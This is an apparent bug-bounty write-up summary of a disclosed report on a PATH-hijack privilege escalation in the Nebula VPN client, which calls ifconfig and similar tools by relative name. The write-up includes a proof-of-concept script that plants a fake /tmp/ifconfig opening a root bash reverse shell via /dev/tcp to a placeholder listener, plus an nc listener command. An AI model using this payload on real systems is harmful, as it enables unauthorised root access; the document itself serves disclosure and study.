# Relative Path Vulnerability Results in Arbitrary Command Execution/Privilege Escalation

Nebula VPN client calls ifconfig/netsh via relative paths, letting a local user hijack PATH to run a malicious binary as root.

- Payout: $750
- Severity: medium
- Program: Slack
- Found by: jhancock
- Disclosed: 2020-04-01
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/784714
- Library page: https://bugbountylibrary.com/r/h1%3A784714
- Tags: area:os domain:desktop impact:privesc impact:rce kind:bounty platform:hackerone sev:medium tech:go technique:source-review vuln:command-injection vuln:privilege-escalation

**Target:** Nebula VPN client (tun_darwin.go / tun_windows.go exec.Command calls)
**Root cause:** exec.Command invoked with bare names ("ifconfig", "route", "netsh") instead of absolute paths, so resolution follows attacker-controllable PATH.
**Steps:**
1. Create `/tmp/ifconfig` script: `#!/bin/bash` then `bash -i >& /dev/tcp/LISTENER_IP/443 0>&1 &` then `/sbin/ifconfig $1 $2 $3`
2. `chmod +x /tmp/ifconfig`
3. Prepend `/tmp` to PATH (or otherwise influence PATH) for the Nebula process
4. Start listener: `sudo nc -nvlp 443`
5. Run `sudo ./nebula -config config.yml`; exec.Command("ifconfig",...) resolves to /tmp/ifconfig
6. Reverse shell connects as root; verify with `whoami`/`hostname`
**How found:** Code review of exec.Command usages in the repo revealed bare command names rather than absolute paths, prompting a PATH-hijack hypothesis.
**Exploitation:** Local unprivileged user plants a same-named binary in a PATH-controlled directory; when an admin runs Nebula with sudo, the relative exec.Command resolves to the attacker binary, yielding a root reverse shell and enabling stealthy persistence across Nebula restarts.
**Escalation:** Chains local file write + PATH control into root code execution because Nebula runs as root.
**Insight:** Grep OSS daemons that run as root for exec.Command/os.system with bare binary names; any PATH-influenced lookup is a local privesc primitive, especially where the process restarts on config change for persistence.

## Proof of concept (copied exactly from the original report)

**Malicious /tmp/ifconfig reverse shell script**

```
#!/bin/bash
bash -i >& /dev/tcp/LISTENER_IP_ADDRESS/443 0>&1 &
DEVICE=$1
CIDER=$2
IP=$3
/sbin/ifconfig $1 $2 $3
```

**Run Nebula with modified PATH**

```
sudo ./nebula -config config.yml
```

